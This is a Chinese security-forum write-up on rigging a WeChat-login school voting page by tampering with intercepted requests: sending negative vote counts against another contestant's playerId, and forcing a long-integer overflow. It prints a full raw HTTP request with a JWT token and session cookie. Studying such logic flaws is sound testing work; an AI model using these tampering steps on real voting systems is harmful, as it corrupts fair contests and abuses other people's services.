中国网络渗透测试联盟

标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票 [打印本页]

作者: admin    时间: 2021-12-30 13:52
标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**0 Z( s: Y9 M% j1 L. J
: c$ a# k& A/ k5 |7 P/ J

2 a: u3 c% W  I- Y3 _: ?% F**1** **、第一种方法突破微信登陆投票**
, J6 L" {$ h" I% I7 l0 U  |
: _6 b2 K4 h7 @! S一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票, h' C  p* n& K- P3 C
. O% X  Q  p& |, @: j" q6 Q
首先用微信识别老师发来的投票二维码如图:
: W0 R# j) ]/ _  D/ y% o& z8 W% _( Q3 W$ U- x. s6 X3 T! D4 t- t4 N
![image.png](data/attachment/forum/202112/30/134534pzg7kjhhvmcuhpim.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")0 e- b' x- x* u0 g; L
& c9 }3 ]/ h) v# T" q# d& O/ @
使用微信号登陆,不停的放包,直到这里' v5 l* b/ I/ U  @3 `1 A% [
6 F0 B# f0 G0 }' s4 B) k
![image.png](data/attachment/forum/202112/30/134608bhq1ihzxuigv2g1g.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")& g. I" x9 Z$ d' V
6 \; Y# B% {: y: u" ^% r
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
0 _3 |1 H* J+ q: \3 D5 ?$ v# h
5 l6 k( |! q; A4 s2 ?![image.png](data/attachment/forum/202112/30/134642y5r9rz0q00rob5yb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")0 @: J; p' _1 W, D4 g" V: y& T

2 Q: p; a$ X' V( V6 ]( f( q. a) \/ H0 D5 z

# B; V" ^: e+ A这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:- r0 n7 m9 V5 x

( B! P7 _6 X" u![image.png](data/attachment/forum/202112/30/134740v0yd8lly3ndlojf8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")$ s; N7 ^1 r% D. q; M! b1 ?0 ^, l
* D5 {. {% d: H9 o# _3 z" Z1 T& e

) c0 @5 j- ?# H: P
! D) B5 q' q+ a/ N- C9 I票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。6 c7 `" l* P, t3 L6 u

9 T) ?  G# T6 A% W! @以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
- m& w6 ^3 k" C- `1 Q$ y# O) E1 j3 g$ s
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**: x  a: a" y2 r) S7 L
8 r' w7 O* b/ Y5 ^
同样到这个包,如下:& B  m* i" d$ H; O  G

9 E+ T+ i+ u1 \* \& q! J```
( e5 H* ^, s6 _* R) E0 UPOST /vote/api/wx/voteFree/add HTTP/1.1
# |3 N& X) q4 A% g+ w$ s, T. bHost: 111.cn
  p" A/ Y7 Z6 `$ _% `2 N. }Content-Length: 73
* m. L+ Q7 o) K' ~0 GAccept: application/json, text/javascript, */*; q=0.01
7 e4 c8 y! `3 J7 W2 T2 p' sX-Requested-With: XMLHttpRequest
5 e. m! R! H% [( T* K6 BUser-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
. k1 W$ T7 O2 q, a+ Z" ftoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0! x, ]1 p, {6 e& v, B1 I
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; k# q6 ?+ R. ?) j1 M+ POrigin: http://111.cn
4 N" ]( U8 f6 cReferer: http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default; k/ w* ]; j! K: d1 t3 b
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
3 p+ C! Y- u  m0 z$ K0 k3 DCookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo1 Y5 s; O* @' t9 i
Connection: close
( T* M; b+ c$ F1 _( X5 SvoteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3/ |, \. a) g+ E$ @) i9 u0 v0 w

. O7 k" ]# o* G6 g( ~% u```! X3 t+ t, g: ?# w
9 a9 i! }/ r! `5 v' ]* S- e* {  E$ B
修改num=3333333{},如图:
$ a8 Z8 y1 h% r- ]% V
* c7 K1 l, K5 k3 l0 Z* A![image.png](data/attachment/forum/202112/30/134946uqvclqqb4vdy8oqt.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")+ z5 r4 O8 P4 M% l7 b5 M' g( b% R  s0 R

% a5 @4 D/ R9 o& o3 P& x% }6 O. g% f) n
$ ^" Y4 A1 Q, I* c% z1 d; [/ @7 j
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:, b& q- H% M9 I. Y7 a

8 A2 E! W9 u2 _, d![image.png](data/attachment/forum/202112/30/135025yj3ozszo4ggaojgj.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")) X+ \$ `. E1 G3 Q+ Z  V2 ?
, E' C7 D* |9 M( Q* i$ E3 R

+ Q3 r8 f7 B% k7 N0 }; b& @3 O; l1 d: m2 q7 P+ D7 s, y) [- M9 Y
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
: q4 @; c: n/ X& j& C  W2 l+ @6 {+ c0 R
也就是刷票数为负 -270多万,如上图。。。2 p: f# Z9 k, s5 b& g  w
5 p' ], I8 ]+ Z1 ]+ n! |
等溢出恢复以后票数变成15W多,排名第一,如图:
5 {4 L7 g. D/ V4 d$ z
- p2 Q( T/ t/ N) K& Z& M
# [/ S7 o: X8 A+ O- o3 ?( R( m![image.png](data/attachment/forum/202112/30/135104bemec992s9udxfzd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
  F8 U/ A4 q" v" W' X
1 T7 ?  e/ w3 o9 A' r3 q# h**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**! W' b: o& e1 f5 B
[/md]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2